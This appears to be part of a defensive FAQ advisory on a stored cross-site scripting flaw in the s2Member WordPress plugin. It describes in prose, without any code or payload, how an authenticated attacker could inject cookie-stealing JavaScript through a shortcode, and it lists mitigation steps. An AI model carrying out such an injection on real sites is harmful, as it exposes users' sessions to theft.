How does the proof of concept demonstrate the vulnerability?
Example of exploitation
The proof of concept shows how an authenticated attacker can use a malicious shortcode to inject JavaScript that steals cookies from other users. This illustrates the ease of exploitation and the potential for serious consequences if the vulnerability is not addressed.
What additional security measures can I take?
Enhancing overall security
In addition to updating the plugin, consider implementing security plugins that monitor for XSS vulnerabilities, regularly review user permissions, and conduct security audits. Educating users about safe practices can also help mitigate risks.
Is there a way to temporarily mitigate the risk?
Short-term solutions
If an immediate update is not possible, consider disabling the s2Member plugin until it can be updated. Additionally, restrict access to users with Contributor-level permissions or higher until the vulnerability is patched.
Where can I find more information about this vulnerability?
Resources for further reading
More information can be found on the official CVE database, security advisories from the s2Member plugin developers, and security-focused websites that analyze vulnerabilities in WordPress plugins.

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